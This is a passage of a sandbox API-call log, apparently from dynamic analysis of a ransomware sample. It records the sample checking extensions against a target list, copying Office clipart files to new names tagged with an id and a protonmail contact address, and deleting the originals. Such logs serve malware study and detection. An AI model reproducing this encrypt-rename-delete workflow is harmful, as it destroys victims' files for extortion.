	[0075.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.719] lstrlenW (lpString=".dbf") returned 4
	[0075.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.719] lstrlenW (lpString=".1cd") returned 4
	[0075.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.719] lstrlenW (lpString=".jpg") returned 4
	[0075.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.719] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.719] lstrlenW (lpString="BS00145_.WMF") returned 12
	[0075.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.720] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1712) returned 1
	[0075.720] CloseHandle (hObject=0x334) returned 1
	[0075.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220
	[0075.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.720] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.720] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.721] GetLastError () returned 0x0
	[0075.721] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x6b0, lpOverlapped=0x0) returned 1
	[0075.723] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x6c0, lpOverlapped=0x0) returned 1
	[0075.724] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.724] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.724] SetEndOfFile (hFile=0x350) returned 1
	[0075.724] CloseHandle (hObject=0x350) returned 1
	[0075.725] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.725] SetEndOfFile (hFile=0x334) returned 1
	[0075.726] CloseHandle (hObject=0x334) returned 1
	[0075.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.727] lstrlenW (lpString=".doc") returned 4
	[0075.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.727] lstrlenW (lpString=".docx") returned 5
	[0075.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.727] lstrlenW (lpString=".pdf") returned 4
	[0075.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.727] lstrlenW (lpString=".xls") returned 4
	[0075.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.727] lstrlenW (lpString=".xlsx") returned 5
	[0075.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.727] lstrlenW (lpString=".ppt") returned 4
	[0075.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.727] lstrlenW (lpString=".zip") returned 4
	[0075.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.727] lstrlenW (lpString=".rar") returned 4
	[0075.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString=".bz2") returned 4
	[0075.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString=".7z") returned 3
	[0075.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.728] lstrlenW (lpString=".dbf") returned 4
	[0075.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.728] lstrlenW (lpString=".1cd") returned 4
	[0075.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.728] lstrlenW (lpString=".jpg") returned 4
	[0075.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.728] lstrlenW (lpString=".doc") returned 4
	[0075.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString=".docx") returned 5
	[0075.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.728] lstrlenW (lpString=".pdf") returned 4
	[0075.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.728] lstrlenW (lpString=".xls") returned 4
	[0075.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.728] lstrlenW (lpString=".xlsx") returned 5
	[0075.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.729] lstrlenW (lpString=".ppt") returned 4
	[0075.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.729] lstrlenW (lpString=".zip") returned 4
	[0075.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.729] lstrlenW (lpString=".rar") returned 4
	[0075.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.729] lstrlenW (lpString=".bz2") returned 4
	[0075.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.729] lstrlenW (lpString=".7z") returned 3
	[0075.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.729] lstrlenW (lpString=".dbf") returned 4
	[0075.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.729] lstrlenW (lpString=".1cd") returned 4
	[0075.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0075.729] lstrlenW (lpString=".jpg") returned 4
	[0075.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.730] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.730] lstrlenW (lpString="BS00174_.WMF") returned 12
	[0075.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.730] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=8366) returned 1
	[0075.731] CloseHandle (hObject=0x334) returned 1
	[0075.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220
	[0075.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.731] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.731] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.732] GetLastError () returned 0x0
	[0075.732] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x20ae, lpOverlapped=0x0) returned 1
	[0075.760] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x20b0, lpOverlapped=0x0) returned 1
	[0075.761] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.761] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.761] SetEndOfFile (hFile=0x350) returned 1
	[0075.762] CloseHandle (hObject=0x350) returned 1
	[0075.774] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.774] SetEndOfFile (hFile=0x334) returned 1
	[0075.775] CloseHandle (hObject=0x334) returned 1
	[0075.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1
	[0075.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.776] lstrlenW (lpString=".doc") returned 4
	[0075.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.776] lstrlenW (lpString=".docx") returned 5
	[0075.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.776] lstrlenW (lpString=".pdf") returned 4
	[0075.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.776] lstrlenW (lpString=".xls") returned 4
	[0075.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.776] lstrlenW (lpString=".xlsx") returned 5
	[0075.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.776] lstrlenW (lpString=".ppt") returned 4
	[0075.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.776] lstrlenW (lpString=".zip") returned 4
	[0075.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.776] lstrlenW (lpString=".rar") returned 4
	[0075.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.776] lstrlenW (lpString=".bz2") returned 4
	[0075.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.776] lstrlenW (lpString=".7z") returned 3
	[0075.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString=".dbf") returned 4
	[0075.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString=".1cd") returned 4
	[0075.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString=".jpg") returned 4
	[0075.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString=".doc") returned 4
	[0075.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString=".docx") returned 5
	[0075.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.777] lstrlenW (lpString=".pdf") returned 4
	[0075.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString=".xls") returned 4
	[0075.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.777] lstrlenW (lpString=".xlsx") returned 5
	[0075.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.777] lstrlenW (lpString=".ppt") returned 4
	[0075.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.777] lstrlenW (lpString=".zip") returned 4
	[0075.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.778] lstrlenW (lpString=".rar") returned 4
	[0075.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.778] lstrlenW (lpString=".bz2") returned 4
	[0075.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.778] lstrlenW (lpString=".7z") returned 3
	[0075.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.778] lstrlenW (lpString=".dbf") returned 4
	[0075.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.778] lstrlenW (lpString=".1cd") returned 4
	[0075.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0075.778] lstrlenW (lpString=".jpg") returned 4
	[0075.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.778] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.778] lstrlenW (lpString="BS00200_.WMF") returned 12
	[0075.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.779] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3104) returned 1
	[0075.779] CloseHandle (hObject=0x334) returned 1
	[0075.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220
	[0075.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.780] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.780] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.780] GetLastError () returned 0x0
	[0075.780] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xc20, lpOverlapped=0x0) returned 1
	[0075.793] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xc30, lpOverlapped=0x0) returned 1
	[0075.794] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.794] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.794] SetEndOfFile (hFile=0x350) returned 1
	[0075.795] CloseHandle (hObject=0x350) returned 1
	[0075.796] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.796] SetEndOfFile (hFile=0x334) returned 1
	[0075.797] CloseHandle (hObject=0x334) returned 1
	[0075.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1
	[0075.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.797] lstrlenW (lpString=".doc") returned 4
	[0075.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString=".docx") returned 5
	[0075.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.798] lstrlenW (lpString=".pdf") returned 4
	[0075.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString=".xls") returned 4
	[0075.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.798] lstrlenW (lpString=".xlsx") returned 5
	[0075.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.798] lstrlenW (lpString=".ppt") returned 4
	[0075.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.798] lstrlenW (lpString=".zip") returned 4
	[0075.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.798] lstrlenW (lpString=".rar") returned 4
	[0075.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString=".bz2") returned 4
	[0075.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString=".7z") returned 3
	[0075.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.798] lstrlenW (lpString=".dbf") returned 4
	[0075.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.798] lstrlenW (lpString=".1cd") returned 4
	[0075.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.799] lstrlenW (lpString=".jpg") returned 4
	[0075.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.799] lstrlenW (lpString=".doc") returned 4
	[0075.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString=".docx") returned 5
	[0075.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.799] lstrlenW (lpString=".pdf") returned 4
	[0075.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString=".xls") returned 4
	[0075.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.799] lstrlenW (lpString=".xlsx") returned 5
	[0075.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.799] lstrlenW (lpString=".ppt") returned 4
	[0075.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0075.799] lstrlenW (lpString=".zip") returned 4
	[0075.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.799] lstrlenW (lpString=".rar") returned 4
	[0075.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString=".bz2") returned 4
	[0075.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.799] lstrlenW (lpString=".7z") returned 3
	[0075.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
